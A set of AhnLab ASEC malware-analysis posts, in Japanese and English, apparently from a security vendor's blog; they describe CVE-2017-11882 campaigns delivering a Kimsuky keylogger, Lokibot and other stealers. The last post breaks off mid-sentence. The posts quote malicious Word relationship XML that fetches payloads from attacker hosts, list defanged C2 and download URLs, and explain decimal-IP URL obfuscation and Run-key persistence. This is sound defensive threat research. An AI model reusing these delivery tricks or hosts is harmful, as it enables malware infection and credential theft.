AhnLab SEcurity intelligence Center(ASEC)では、Kimsuky 攻撃グループが最近 MS Office に含まれている数式エディタープログラムである EQNEDT32.EXE 関連の脆弱性(CVE-2017-11882)を悪用し、キーロガーマルウェアを配布した内容を確認した。攻撃者は、脆弱性を使用して mshta プロセスにより不正なスクリプトが挿入されたページを実行する方式でキーロガーマルウェアを配布した。 [図1] 数式エディタープログラム(EQNEDT32.exe)で実行される mshta.exe [図2] C2 サーバー接続時の画面(mshta.exe) mshta で接続する実際のページは http://xxxxxxxxxxx.xxxxxx.xxxxxxxx.com/images/png/error.php で、「error.php」のファイル名を使用する。ユーザーにとっては[図2]のように「Not Found」というメッセージによって接続されなかったように見えるが、不正なスクリプトは実行される。 [図3] 不正なスクリプトの内容(error.php) [図3]は error.php の内容である。主な振る舞いとしては、PowerShell コマンドで C2(Query=50)から追加のマルウェアをダウンロードして実行し、Users\Public\Pictures パス上に desktop.ini.bak ファイルを生成し、再実行のために HKLM 下の Run キーに「Clear Web History」という名前で desktop.ini.bak ファイルを登録する。PowerShell によって追加のマルウェアをダウンロードし実行したものの、攻撃者は wscript を実行する部分のコーディングを誤ったことで、Run キー登録とファイル生成に失敗した。再現のためにスクリプトを修正して正常に実行するとファイルが生成され、[図4]のように再実行のためのレジストリキー登録を正常に実行する。 [図4] 自動実行レジストリの登録 [図5] 不正なスクリプトの内容(50.php) 最初にダウンロードするマルウェアは PowerShell スクリプトであり、[図5]の通りである。システム情報、IP などの情報を収集して C2(Query=97)に転送し、キーロガーマルウェアを C2(Query=107)からダウンロードして実行する機能がある。 [図6] 不正なスクリプトの内容(107.php) [図7] キーロガーデータの内容(desktop.ini.bak) [図6]は、キーロガー機能の主要部分のスクリプトである。ユーザーのキー入力だけでなくクリップボードデータを Users\Public\Music パスに desktop.ini.bak ファイルとして生成し、記録する。ミューテックス「Global\AlreadyRunning19122345」値によって重複実行を防止し、収集されたデータは攻撃者が設定した時間範囲内のランダムな時間ごとに C2(Query=97)へ転送、および削除して再び生成する。全体的なプロセスの実行は、Process Monitor のプロセスツリーの通りである。 [図8] Process Monitor のプロセスツリー画面 Kimsuky 攻撃グループは、攻撃を成功させるために過去に多く使用した MS Office の数式エディタープログラム(EQNEDT32.EXE)関連の脆弱性(CVE-2017-11882)を現在も使用している。このような過去の脆弱性を悪用したマルウェア感染を防ぐためには、脆弱性へのパッチ適用が重要である。ソフトウェアは常に最新にアップデートしなければならず、EOS(End-Of-Service)となったソフトウェアの使用は差し控えなければならない。疑わしいドキュメントファイルは閲覧しないようにし、V3 を最新バージョンにアップデートしてマルウェアへの感染を事前に遮断できるように注意を払う必要がある。エンドポイントセキュリティ製品(V3)だけでなく、MDS のようなサンドボックスベースの APT ソリューションを導入してサイバー攻撃の被害を予防しなければならない。 [ ファイル検知 ] Trojan/VBS.Agent.SC198696 (2024.03.29.00) Downloader/PowerShell.Agent.SC197158 (2024.02.26.03) Keylogger/PowerShell.Agent.SC197159 (2024.02.26.03) [IOC] MD5 279c86f3796d14d2a4d89049c2b3fa2d 5bfeef520eb1e62ea2ef313bb979aeae d404ab9c8722fc97cceb95f258a2e70d 関連 IOC および詳細な解析情報は、 AhnLab の次世代脅威インテリジェンスプラットフォーム「 AhnLab TIP 」サブスクリプションサービスを通して確認できる。
ASEC Keylogger Installed Using MS Office Equation Editor Vulnerability (Kimsuky) 2024-05-29
AhnLab SEcurity intelligence Center (ASEC) has identified the details of the Kimsuky threat group recently exploiting a vulnerability (CVE-2017-11882) in the equation editor included in MS Office (EQNEDT32.EXE) to distribute a keylogger. The threat actor distributed the keylogger by exploiting the vulnerability to run a page with an embedded malicious script with the mshta process. The page that mshta connects to is http://xxxxxxxxxxx.xxxxxx.xxxxxxxx.com/images/png/error.php and uses the file name error.php. As shown in Figure 2, the “Not Found” message makes it seem to the user as if a connection is not being established, but the malicious script is being run. Figure 3 shows the content of error.php. Major behaviors include downloading an additional malware strain from the C2 (Query=50) via a PowerShell command, creating a file named desktop.ini.bak under the Users\Public\Pictures path, and registering the desktop.ini.bak file in the Run key under HKLM with the name “Clear Web History” to allow it to run again. While an additional malware was downloaded and executed via PowerShell, the attacker’s erroneous coding in the part where wscript is run resulted in the failure to register to the Run key and create the file. When editing the script for replication purposes and having it run as intended, the desktop.ini.bak file is created and correctly registers itself to the registry key as shown in Figure 4. The first downloaded malware is a PowerShell script shown in Figure 5. It collects system and IP information and sends them to the C2 (Query=97). In addition, it can download and execute a keylogger from the C2 (Query=107). Figure 6 shows the script of the main part of the keylogger. The script creates the file desktop.ini.bak in the Users\Public\Music path, which is for recording users’ keylogging data as well as clipboard data. It uses a mutex value “Global\AlreadyRunning19122345” to prevent duplicate instances. The collected data is sent at random times within the time range set by the threat actor to the C2 (Query=97), deleted, and created again. The overall process execution is shown in the Procmon process tree. The Kimsuky group still exploits the vulnerability (CVE-2017-11882) in the MS Office equation editor (EQNEDT32.EXE) it frequently used before in order to increase the success rate of attacks. It is important to patch vulnerabilities to prevent malware infection from old vulnerabilities. Software must always be updated to the latest version and users should refrain from using software that has reached the end of service (EOS). Also, users must not open suspicious document files and update V3 to the latest version to prevent malware infection in advance. In addition to endpoint security products (V3), sandbox-based APT solutions such as MDS must be implemented to prevent harm from cyberattacks. [File Detection] Trojan/VBS.Agent.SC198696 (2024.03.29.00) Downloader/PowerShell.Agent.SC197158 (2024.02.26.03) Keylogger/PowerShell.Agent.SC197159 (2024.02.26.03) MD5 279c86f3796d14d2a4d89049c2b3fa2d 5bfeef520eb1e62ea2ef313bb979aeae d404ab9c8722fc97cceb95f258a2e70d Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner below.
ASEC 検知回避を目的に巧妙に操作された Word ファイルの拡散 (External+RTF) 2022-11-10
MS Office Word ドキュメントの External 外部リンクへの接続が可能な点を利用し、さらなる RTF マルウェアを配布する不正な Word ファイルは、かなり前から持続的に確認されてきた。しかし最近、アンチウイルス製品の検知を回避するためと推定されるファイルが、韓国国内に多数拡散している状況が確認されていることについて報告する。 https://asec.ahnlab.com/jp/22437/ 図1) ビジネス目的に偽装した電子メール ビジネス目的に偽装した電子メールに Word ファイルを添付している点は大きく変わらないが、OOXML(Office Open XML)フォーマットの内部で確認できる webSettings.xml.rels ファイルに特異な点が存在する。以下のようにドキュメントを開くと自動接続される External URL は、これまでに出回っていた一般的な URL ではないことがわかる。 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame" Target="hxxp://zzzxcaaqwszazzxczxcadsqqazzxczczzzxqwaazzazxsaqwsaa@3221[45]7063/zxxsaassswq__zzzaxxsccvb__zxxxswqaaxxzzza_sdadzzqwqzzxs_dasdzsadasdas/zzxxxz_z_xcccc_zxxz[.]doc" TargetMode="External"/></Relationships> 図2) Web ブラウザ上の URL 自動変換結果 この URL を Web ブラウザに入力すると、図2)のように URL の@マークより前の部分は削除され、@マークより後ろにある数字は自動的に IP 形式に変換される。 URL 上で、@マークより前の部分が削除される背景は以下の通りである。IE バージョン3.0~6.0までは以下のような URL を入力する試みに対し、基本の認証方法を利用するサイトにユーザー情報( username:password )を自動で送信することができた。 しかし、特定のセキュリティアップデート(MS 832894 リリース)が行われたあとからは URL の当該領域(@マークより前の部分)が無視されるのだが、攻撃者はこのような点を悪用して@マークより後ろに意味のあるデータ(IP に変換できる十進数)を記載したものと判断できる。関連する詳細内容は、 Microsoft 技術文書 で確認できる。 http(s):// username:password @ server /resource.txt 図3) Microsoft 技術文書の一部抜粋 直近の2週間で韓国国内で拡散したものと確認されている多数の Word ファイルにおいて、上記のようなタイプの URL が確認された。 hxxp://zzzxcaaqwszazzxczxcadsqqazzxczczzzxqwaazzazxsaqwsaa@ 3221[45]7063 /zxxsaassswq__zzzaxxsccvb__zxxxswqaaxxzzza_sdadzzqwqzzxs_dasdzsadasdas/zzxxxz_z_xcccc_zxxz[.]doc hxxp://sdkjfksfjkjeigufdhgkfdgkhekhjhdfgkdgkhcicivbihberigidfghidgi@ 3236[13]5982 /ego1/document_ego[.]doc hxxp://docment_dosc@ 3323[44]4136 /uAuuUASDbjasduhuasduyuASHUDHUSAD hxxp://uUAzzyqqazzxxbbvvbdhsgfhdshqzbsdnsdzsfbnsdfgh@ 3221[44]8056 /uuUAzzyqqazzxxbbvvbdhsgfhdshqzbsdnsdzsfbnsdfghdsfh/zxxaawazzzawwwazzasqwazzas[.]doc hxxp://zzxaaqwwweerss@ 1428[10]6757 /zzxaaqwwweerrrrsszzxxzaaqqwwaaaqqzzzssweeessszzaazzswwe/zzxaaqwwweerrrrsszzxxzaaqqwwaaaq[.]doc hxxp://zqwerdfgvcbzasdcxssqwsedcfvfrdsaswwszawws@ 3221[44]8061 /zxsswweerrss_zaqsddff_zxcvbfdd_qaszxxcc_zaswssxcv/zqasxxcvvfd_zqwwsdcxv[.]doc hxxp://wwerwerwrwerjasduhuasduyuASHUDHUSADHUASDU@ 3323[44]4136 /zzwweqwwerwerwrwerjasduhuasduyuASHUDHUSADHUASDU/zaawqqqaazzzxcvbbvgtttyhhjjg[.]doc hxxp://aszqasdhjahsdjqzzaszwqasdasdasdjhj@ 2709[59]7246 /ziioooooeroiooisodfo___————sdfjhjjhjhjhhj/ziiuewirisdfjhfjh[.]doc hxxp://aszqasdhjahsdjqzzaszwqasdasdasdjhj@ 1806[43]5509 /ziioooooeroiooisodfo__———_—sdfjhjjhjhjhhj/zppolldookfodfdfdf_o[.]doc hxxp://zxqwsszzxxcvbfggzzzassqqweezzasszzzewwwsdzzzs@ 1755[84]8835 /zxxswqqeerrdde_sdfsdf_zaqqwaa_zxzxssds/zxccvddqaa_szzxcxccx[.]doc hxxp://wwerwerwrwerjasduhuasduyuASHUDHUSADHUASDU@ 3323[44]4136 /zzwweqwwerwerwrwerjasduhuasduyuASHUDHUSADHUASDU/zaawqqqaazzzxcvbbvgtttyhhjjg[.]doc 変換の原理について簡単に説明すると、IP アドレス(IPv4)は、8ビット(=octet)を基準に区分される32ビットで構成された2進数の組み合わせで構成されている。実際に 2進数の組み合わせ(ex.11000000)を入力して使用することは非常に不便なため、2進数に対応する10進数の数字(ex.192)を使用するのだが、我々が使用する普遍的な Web アクセス方法は10進数に対応するドメインを活用するものである。 このようにして DNS Lookup が行われるプロセスを逆にアクセスしてみると、External URL に存在する10進数「3221457063」は octet 単位に合わせて2進数「11000000 00000011 10001000 10100111」に変換され、前から順に「192 3 136 167」と変換されることがわかる。 図4) External URL 接続プロセス すなわち、External URL が変換されるプロセスをまとめると以下の通りとなる。 図5) 入力した URL が変換されるプロセス 上記のように最近出回っている URL 形式は、RTF バイナリを最初に実行していた Word ファイルにロードしたあと CVE-2017-11882 で知られている過去の RTF 脆弱性を利用しており、最終的には Lokibot、AgentTesla のような様々なインフォスティーラー型マルウェアをダウンロードする。 Word ドキュメントを開いた時に外部接続の試みが行われたこと自体は、External URL を利用して拡散した他のファイルと同じ不正な振る舞いと見て取れるが、 解析および検知の観点では、攻撃者が内部ファイルの検知を回避する目的で External URL のフォーマットを変形させているものと判断できる。 ユーザーは V3 を最新バージョンにアップデートして使用し、出どころが不明なドキュメントファイルは開かないようにしなければならない。 [ ファイル検知 ] – Downloader/XML.External.S1942 (2022.10.25.02) – Trojan/Win.Generic.C5290118 (2022.11.03.00) – Trojan/Win.MSIL.R510204 (2022.10.27.01) – RTF/Malform-A.Gen (2018.07.03) [ ビヘイビア検知 ] – Malware/MDP.Download.M1881 [IOC] MD5 – 655dc599da82d7acfd5f35683c3fe128 : 악성 워드 문서 – 402d0dc1120c20d21a539bd8d564a6c0 : RTF 바이너리 – 471130cf70d5bc013d818098fb55749a : Lokibot 바이너리 C&C およびダウンロード – hxxp://192.3.136[.]167/zxxsaassswq__zzzaxxsccvb__zxxxswqaaxxzzza_sdadzzqwqzzxs_dasdzsadasdas/zzxxxz_z_xcccc_zxxz.doc – hxxp://192.3.136[.]167/322/vbc.exe – hxxp://208.67.105[.]162/perez/five/fre.php – hxxp://192.227.132[.]46/ – hxxp://192.3.101[.]120/ – hxxp://85.31.46[.]5/ – hxxp://192.3.101[.]125/ – hxxp://198.23.187[.]168/ – hxxp://161.129.44[.]62/ – hxxp://107.172.4[.]181/ – hxxp://104.168.32[.]131/ – hxxp://198.23.187[.]168/ 関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。
ASEC Distribution of Word File (External + RTF) Modified to Avoid Detection 2022-11-03
Malicious MS Office Word documents have long been used for the distribution of additional RTF malware by exploiting the fact that Word files allow external connection. However, AhnLab has identified the files that seem to have been made to avoid anti-malware detection are being distributed in Korea. Distribution of RTF Vulnerability Malware that Takes Advantage of Microsoft Office Word’s External Connection Similar to past cases, an email disguised as a work email with a Word document attachment is used, but a unique factor exists in the webSettings.xml.rels file which can be identified within the OOXML (Office Open XML) format. The user is automatically redirected to an external URL upon opening the document, and it can be seen from the figure below that the URL is not the typical type that has been distributed in the past. <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame" Target="hxxp://zzzxcaaqwszazzxczxcadsqqazzxczczzzxqwaazzazxsaqwsaa@3221[45]7063/zxxsaassswq__zzzaxxsccvb__zxxxswqaaxxzzza_sdadzzqwqzzxs_dasdzsadasdas/zzxxxz_z_xcccc_zxxz[.]doc" TargetMode="External"/></Relationships> When the URL is entered into a web browser, the part of URL before the at sign (@) is deleted as shown in Figure 2, and the numbers in the URL after @ is automatically converted into an IP format. The reason why the part of URL before @ is deleted is as follows: IE versions 3.0–6.0 allowed automatic transmission of user credentials ( username:password ) to websites that use the default verification method for attempts to enter a URL as shown below. After a certain security update (MS 832894), the part of URL before @ is ignored. It is deemed that the threat actor exploited this to insert meaningful data (a decimal that can be converted to an IP address) after @. Details related to this process can be viewed in Microsoft Technical Documentation . http(s):// username:password @server/resource.txt The type of URL shown above has been found in multiple Word documents having been distributed in Korea in the past two weeks. hxxp://zzzxcaaqwszazzxczxcadsqqazzxczczzzxqwaazzazxsaqwsaa@3221[45]7063/zxxsaassswq__zzzaxxsccvb__zxxxswqaaxxzzza_sdadzzqwqzzxs_dasdzsadasdas/zzxxxz_z_xcccc_zxxz[.]doc hxxp://sdkjfksfjkjeigufdhgkfdgkhekhjhdfgkdgkhcicivbihberigidfghidgi@3236[13]5982/ego1/document_ego[.]doc hxxp://docment_dosc@3323[44]4136/uAuuUASDbjasduhuasduyuASHUDHUSAD hxxp://uUAzzyqqazzxxbbvvbdhsgfhdshqzbsdnsdzsfbnsdfgh@3221[44]8056/uuUAzzyqqazzxxbbvvbdhsgfhdshqzbsdnsdzsfbnsdfghdsfh/zxxaawazzzawwwazzasqwazzas[.]doc hxxp://zzxaaqwwweerss@1428[10]6757/zzxaaqwwweerrrrsszzxxzaaqqwwaaaqqzzzssweeessszzaazzswwe/zzxaaqwwweerrrrsszzxxzaaqqwwaaaq[.]doc hxxp://zqwerdfgvcbzasdcxssqwsedcfvfrdsaswwszawws@3221[44]8061/zxsswweerrss_zaqsddff_zxcvbfdd_qaszxxcc_zaswssxcv/zqasxxcvvfd_zqwwsdcxv[.]doc hxxp://wwerwerwrwerjasduhuasduyuASHUDHUSADHUASDU@3323[44]4136/zzwweqwwerwerwrwerjasduhuasduyuASHUDHUSADHUASDU/zaawqqqaazzzxcvbbvgtttyhhjjg[.]doc hxxp://aszqasdhjahsdjqzzaszwqasdasdasdjhj@2709[59]7246/ziioooooeroiooisodfo___————sdfjhjjhjhjhhj/ziiuewirisdfjhfjh[.]doc hxxp://aszqasdhjahsdjqzzaszwqasdasdasdjhj@1806[43]5509/ziioooooeroiooisodfo__———_—sdfjhjjhjhjhhj/zppolldookfodfdfdf_o[.]doc hxxp://zxqwsszzxxcvbfggzzzassqqweezzasszzzewwwsdzzzs@1755[84]8835/zxxswqqeerrdde_sdfsdf_zaqqwaa_zxzxssds/zxccvddqaa_szzxcxccx[.]doc hxxp://wwerwerwrwerjasduhuasduyuASHUDHUSADHUASDU@3323[44]4136/zzwweqwwerwerwrwerjasduhuasduyuASHUDHUSADHUASDU/zaawqqqaazzzxcvbbvgtttyhhjjg[.]doc A simple explanation of the conversion principles is as follows: An IP address (IPv4) consists of a combination of 32-bit binaries that are separated into 8 bits (=octet). As it is highly inconvenient to input the actual binary combination (E.g.: 11000000), a decimal (E.g.: 192) that corresponds to the binary is used. The typical web accessing method that we use utilizes domains that correspond to these decimals. If we approach this process of DNS Lookup in reverse, we can see that the decimal ‘3221457063’ which exists in the external URL is converted into a binary of ‘11000000 00000011 10001000 10100111’ separated into octets, which is then converted to ‘192 3 136 167’ starting from the first digit. A summary of the conversion process of the external URL is given below. Such type of URL that is being distributed lately loads the RTF binary on the Word file that has been executed initially and utilizes a past RTF vulnerability known as CVE-2017-11882, ultimately downloading various Infostealer malware such as Lokibot and AgentTesla. The connection attempts that occur when opening Word files may appear to be the same type of malicious behavior performed by other files that use external URLs, but from an analytical and diagnostic point of view, it is deemed that the threat actor changed the format of the external URL so that the internal file avoids detection. Users must update V3 to the latest version and refrain from opening document files from unknown sources. [File Detection] – Downloader/XML.External.S1942 (2022.10.25.02) – Trojan/Win.Generic.C5290118 (2022.11.03.00) – Trojan/Win.MSIL.R510204 (2022.10.27.01) – RTF/Malform-A.Gen (2018.07.03) [Behavior Detection] – Malware/MDP.Download.M1881 MD5 402d0dc1120c20d21a539bd8d564a6c0 471130cf70d5bc013d818098fb55749a 655dc599da82d7acfd5f35683c3fe128 URL http[:]//104[.]168[.]32[.]131/ http[:]//107[.]172[.]4[.]181/ http[:]//161[.]129[.]44[.]62/ http[:]//192[.]227[.]132[.]46/ http[:]//192[.]3[.]101[.]120/ Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner below.
ASEC 特定航空会社の自己紹介書に偽装した RTF マルウェア 2021-10-22
ASEC 分析チームは、今月(10月)初めに特定の航空会社の自己紹介書に偽装した RTF ドキュメント型のマルウェアを確認した。他のドキュメント型マルウェア(Word、Excel 等)に比べて頻繁に登場する類のドキュメント形式ではないもので、特定のドキュメントに偽装した RTF マルウェアは久しぶりに発見されたケースである。 ファイル名:****航空会社自己紹介書_.rtf この RTF ドキュメントは MS Office に含まれている数式エディタのプログラムである EQNEDT32.EXE 関連の脆弱性(CVE-2017-11882)が使用されており、本文には自己紹介書の内容が記載されているが、最後の文章が途中で終わっている。 [図1] – 本文内容の冒頭部分 [図2] – 本文内容の末尾部分 このドキュメントは10月1日に最初に作成され、10月4日に最終変更されたものと確認され、以下のように脆弱性が発生した場合、特定のネットワークに接続して追加のファイルをダウンロードするものと思われる。 hxxps://gozdeelektronik[.]net/wp-content/themes/0111/movie.png hxxps://gozdeelektronik[.]net/wp-content/themes/0111/movie.jpg [図3] – ドキュメントの作成日時 [図4] – 接続するネットワークのアドレス 現在ではこのアドレスが無効となっており、追加でダウンロードするデータを確認することは困難である。有効になると、このアドレスから追加のデータ(マルウェア)をダウンロードし、動作するものと見られる。 この時、使用された不正なネットワークアドレスは、過去の2019年に不正な EPS を含むアレアハングル(HWP)のマルウェアが使用していた C2 アドレスと同じものと思われ、同じグループが製作したと見られる。外部 Twitter では今回の RTF を製作したグループとして Lazarus を言及している。 ユーザーは、出どころが不明なドキュメントの閲覧を避けなければならず、使用しているアプリケーションおよび V3 を最新バージョンにアップデートして使用しなければならない。このマルウェアは V3 において以下のように検知している。 [ ファイル検知 ] Exploit/MSOffice.Agent [IOC] dd8bb1686f16924ac797620092776022 hxxps://gozdeelektronik[.]net/wp-content/themes/0111/movie.png hxxps://gozdeelektronik[.]net/wp-content/themes/0111/movie.jpg [ 参考サイト ] https://twitter.com/souiten/status/1446725907637358597 関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。
ASEC RTF Malware Disguised as a Cover Letter for a Particular Airline 2021-10-13
In early October, the ASEC analysis team has discovered an RTF file-based malware disguised as a cover letter for a particular airline. This is not a type of document file format that appears often as other document-type malware (Word, Excel, etc.), and RTF malware disguised as a particular document hasn’t been discovered in a long time. Filename used in distribution: ****Airline Cover Letter_.rtf An MS Office equation editor program EQNEDT32.EXE related vulnerability (CVE-2017-11882) was used for the RTF file, and the last sentence in the body of the cover letter is not finished as if the cover letter isn’t complete. This file was first created on October 1st and last modified on October 4th. It appears that when a vulnerability occurs, it will connect to a particular network and download the following additional files. hxxps://gozdeelektronik[.]net/wp-content/themes/0111/movie.png hxxps://gozdeelektronik[.]net/wp-content/themes/0111/movie.jpg Figure 1. Connected network URL The URL is currently disabled, so the additional data that is downloaded cannot be confirmed. It appears that when it is enabled, additional data (malware) will be downloaded from the URL above and executed. The URL of the malicious network used here is the same as the C2 URL which was used by HWP files containing malicious EPS in 2019. It is thus assumed that the same attacker created this, and an external Twitter post mentions Lazarus as the attacker group who created the RTF. Users should refrain from opening files from unknown sources and update V3 and other programs that they use to the latest version. AhnLab’s anti-malware solution, V3, detects and blocks this malware using the aliases below. [File Detection] Exploit/MSOffice.Agent [Reference] https://twitter.com/souiten/status/1446725907637358597 MD5 dd8bb1686f16924ac797620092776022 URL https[:]//gozdeelektronik[.]net/wp-content/themes/0111/movie[.]jpg https[:]//gozdeelektronik[.]net/wp-content/themes/0111/movie[.]png Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner below.
ASEC MS Office Word の External 外部リンク接続を利用した RTF 脆弱性によるマルウェアの拡散 2021-05-03
MS Office Word ドキュメントの External 外部リンクへの接続を利用した RTF 脆弱性(CVE-2017-11882)によるマルウェアの配布事例が確認された。韓国国内のショッピングモール等の企業をターゲットにスパムメールを利用してマルウェアが配布されており、注意が必要である。 最近、External 接続を利用した Office ドキュメントによる不正なファイルの拡散が著しく増加している。OOXML(Office Open XML)フォーマットの正常な XML Relationship を利用して、Target アドレスのみに不正な URL を利用するため、ファイルのバイナリだけでは不正かどうかを判断することが難しい。以下はドキュメントに挿入された不正な URL である。ドキュメントを開くと自動的に不正な URL へ接続を試みる。 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame" Target="http://23.95.122.25/..-.-................-.....-------------/........................................................................dot" TargetMode="External"/></Relationships> 接続後は RTF の脆弱性ファイルのバイナリを、現在開いている文書にロードする。脆弱性は CVE-2017-11882 であり、過去に公表されたものである。VirusTotal で照会すると、AhnLab V3 を含む、すでに多数のアンチウイルス製品で権利されている状態である。 MS Office Word ドキュメントファイルを不正なファイルと検知していなくても、実行段階で RTF バイナリがロードされた場合は、 V3 製品でリアルタイムで遮断を行い、被害を防ぐことができる。 AhnLab では、リアルタイムで実行段階において遮断するほか、関連するタイプのファイルを以下の通り検知している。 [ ファイル検知 ] Downloader/XML.External Downloader/DOC.External Downloader/XML.External.S1461 RTF/Malform-A.Gen [IOC] 3fdc2e4e52b6499def0ff7411a7e0060 506e20689941bee2677c7214bc2083f2 e70135cdb555ce99adee7df642813dcb hxxp://23.95.122.25/..-.-…………….-…..————-/…………………………………………………….dot hxxp://23.95.122.25/..-.-…………….-…..————-/………………………………………………………………dot
ASEC Distribution of RTF Vulnerability Malware that Takes Advantage of Microsoft Office Word’s External Connection 2021-04-16
Distribution of RTF vulnerability (CVE-2017-11882) malware that uses external connection of MS Office Word document has been found. Employees must be on the lookout as the attacker is using spam e-mails to distribute malware to domestic shopping malls and other businesses. Recently, the distribution of MS Office Word malware using external connection has been increasing exponentially. As the attacker uses normal XML Relationship of OOXML (Office Open XML) format and uses malicious URL for only the target address, it is difficult to figure out whether the file is malicious with the file binary alone. The following is a malicious URL that has been inserted into the document file. When the document file is open, it automatically attempts to connect to the malicious URL. <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame" Target="http://23.95.122.25/..-.-................-.....-------------/........................................................................dot" TargetMode="External"/></Relationships> Once connected, RTF vulnerability file binary is loaded to the currently opened document file. The vulnerability is CVE-2017-11882 which was used in the past. When looked up in VirusTotal, the result shows that various anti-malware product including AhnLab V3 are already detecting it. Even if the MS Office Word document file is not detected as a malicious file, V3 product can detect and block it in real-time and prevent any damage as long as the RTF binary has been loaded during the execution phase. Along with blocking the execution phase in real-time, AhnLab is detecting the related files using the aliases below. [File Detection] Downloader/XML.External Downloader/DOC.External Downloader/XML.External.S1461 RTF/Malform-A.Gen MD5 3fdc2e4e52b6499def0ff7411a7e0060 506e20689941bee2677c7214bc2083f2 e70135cdb555ce99adee7df642813dcb URL http[:]//23[.]95[.]122[.]25/[.][.]-[.]-……………[.]-…[.][.]————-/……………………………………………………[.]dot http[:]//23[.]95[.]122[.]25/[.][.]-[.]-……………[.]-…[.][.]————-/………………………………………………………………dot
ASEC 発注書メールに偽装して拡散しているLokibotマルウェア 2020-08-30
Lokibot はインフォスティーラー型マルウェアとして、Web ブラウザ、メールクライアント、FTP クライアント等、感染 PC にインストールされている様々なプログラムからアカウント情報を奪取する機能を持っている。数年前から拡散し続けているマルウェアだが、最近でもTop 5に毎週含まれている。 Lokibot は最近の AgentTesla、Formbook、AveMaria 等のマルウェアと同様、ほとんどがスパムメールを通して拡散している。また、診断を回避するために「.NET」アウトラインのパッカーによりパッキングされて拡散している。 最近拡散に使用されたスパムメールは典型的な 発注書 (P.O.– Purchase Order)に関する内容を含んでおり、添付ファイルの実行へ誘導する。 添付ファイルを確認してみると、cab フォーマットの圧縮ファイルが存在し、この圧縮ファイルを解凍すると exe ファイルが抽出される。これが Lokibot マルウェアである。ユーザーが添付ファイルを解凍したあと、発注書ファイルと誤認識して開いてしまうと、Lokibot マルウェアが実行される。 1. 動作フロー Lokibot は実行されると、下記で整理するように、様々なアプリケーションのアカウント情報を抽出し、C&C サーバーに取得したアカウント情報を流出させる。以降、\AppData\Roaming\[ランダム]\[ランダム].exe パスにファイルをコピーしたあと、システムおよび隠し属性の付与、そして Run Key の登録を試みる。 最後に、C&C サーバーと定期的に通信を行い、コマンドを実行する。しかし、一般的な RAT やバックドアマルウェアとは異なり、追加のマルウェア(exeまたはdll形式)のダウンロードおよび実行、終了、削除、情報流出等、簡単なコマンドを除いて、その他の機能は提供されていない。 C&C サーバーからコマンドを受け取り実行するルーティン 2.Lokibot クラック版 参考に、最近収集されているサンプルは2017年のブログで紹介したクラック版で生成されたファイルである。すなわち、マルウェアの製作者が作成して販売する公式ビルダーではなく、何者かがクラックして配布したバージョンのビルダーで生成されたバイナリであるが、最近でもこのビルダーで製作された lokibot が多数収集されている。参考に、マルウェアのビルダーにもこのようにクラック版が存在している理由は、他の有料ソフトウェアに対するクラック版が存在していることと同じ理由だと思われる。 www.trendmicro.com/en_us/research/17/l/cve-2017-11882-exploited-deliver-cracked-version-loki-infostealer.html 一般的にクラック版は本来のバージョンと大きな違いがあってはならないが、このバージョンの場合は Side Effect が存在する。まず、Lokibot は C&C サーバーのアドレスをエンコードしてこれを保有し、後に CryptDecrypt() 関数を利用して復号化する。このバージョンで生成されたバイナリはすべて以下のような同一のオリジナル C&C サーバーのアドレスが復号化される。 デコードされたオリジナルのC&Cサーバーアドレス しかし、この後パッチされた、すなわち追加されたルーティンを実行して、新たな C&C サーバーを取得する。パッチされたルーティンは .x セクションに存在し、そのコードのすぐ後ろにあるデータを0xFFキーを利用して XOR デコード処理して取得したアドレスを、オリジナル C&C サーバーのアドレスに上書きする。 パッチされたルーティンによって生成された C&C アドレス 問題は、C&C サーバーアドレスのURL以外にレジストリ Run Key (Software\Microsoft\Windows\CurrentVersion\Run) パスも同じルーティンを実行するが、これによって CryptDecrypt() 関数により復号化された Run key 文字列が再度エンコードされた C&C アドレスに変更され、その後 Run Key 登録 API 関数の呼び出しに失敗することである。すなわち、このクラック版で生成された Lokibot は Run Key 登録に失敗し、再起動後は実行が不可能である。 異常値に変更されている Run Key 文字列 3. 情報流出対象 Lokibot は他のインフォスティーラー型マルウェアと比較した場合も、その対象がかなり広い方である。ここでは、その対象となるプログラムを整理し、いくつかの対象に関しては簡単に説明していく。参考として、かなり前に製作されたマルウェアであるため、最新バージョンのプログラムでは情報流出機能が正常に動作しない場合もあり、セキュリティ設定で情報が暗号化されている場合は、流出しても攻撃者は使用することができないと思われる。 すなわち、使用するプログラムを最新バージョンにアップデートし、セキュリティ関連の設定をしておくだけでも、一定の部分の情報流出を防ぐことができる。 情報流出機能を実行する関数 以下で詳細に説明していない大半のプログラムは、特定パスに存在するテキスト形式の設定ファイル、または特定レジストリに存在するデータをそのまま読み込んで C&C サーバーに送信する機能を持つ。 a. Web ブラウザ – 情報流出対象:Chrome、Comodo Dragon、ChromePlus、Nichrome、RockMelt、Spark、Chromium、Titan Browser、Torch、Yandex Browser、Vivaldi、Chromode、Superbird、Coowon、Mustang Browser、360 Browser、Citrio、Chrmoe Canaria、Orbitum、Iridium、Epic Privacy Browser、CocCoc Browser、Opera Stable、Opera Next、Sleipnir、FireFox、IceDragon、K-Meleon、SeaMonkey、Flock、BlackHawk、Lunascape、Cyberfox、PaleMoon、WaterFox、Internet Explorer、Edge、Safari、QtWeb、QupZilla、Opera a.1. Internet Explorer / Edge 過去バージョンの Internet Explorer では、以下のようなレジストリに Auto Form 形式の ID / PW を保存していた。 – HKCU\Software\Microsoft\Internet 